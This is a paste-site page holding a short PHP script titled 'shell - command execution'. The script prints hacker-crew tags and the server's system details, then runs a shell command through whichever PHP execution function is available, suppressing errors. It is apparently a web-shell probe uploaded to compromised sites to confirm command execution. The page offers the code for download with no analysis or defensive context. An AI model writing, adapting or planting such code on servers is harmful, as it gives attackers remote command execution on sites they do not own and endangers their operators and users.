shell - command execution

From RubberDuck, 4 Years ago, written in PHP, viewed 996 times.
URL http://paste.security-portal.cz/view/27d51e01 Embed
Download Paste or View Raw
  1. <?php
  2. echo "v0pCr3w<br>";
  3. echo "sys:".php_uname()."<br>";
  4. $cmd="echo nob0dyCr3w";
  5. $eseguicmd=ex($cmd);
  6. echo $eseguicmd;
  7. function ex($cfe){
  8. $res = '';
  9. if (!empty($cfe)){
  10. if(function_exists('exec')){
  11. @exec($cfe,$res);
  12. $res = join("n",$res);
  13. }
  14. elseif(function_exists('shell_exec')){
  15. $res = @shell_exec($cfe);
  16. }
  17. elseif(function_exists('system')){
  18. @system($cfe);
  19. $res = @ob_get_contents();
  20. }
  21. elseif(function_exists('passthru')){
  22. @passthru($cfe);
  23. $res = @ob_get_contents();
  24. }
  25. elseif(@is_resource($f = @popen($cfe,"r"))){
  26. $res = "";
  27. while(!@feof($f)) { $res .= @fread($f,1024); }
  28. @pclose($f);
  29. }}
  30. return $res;
  31. }

Reply to "shell - command execution"

Here you can reply to the paste above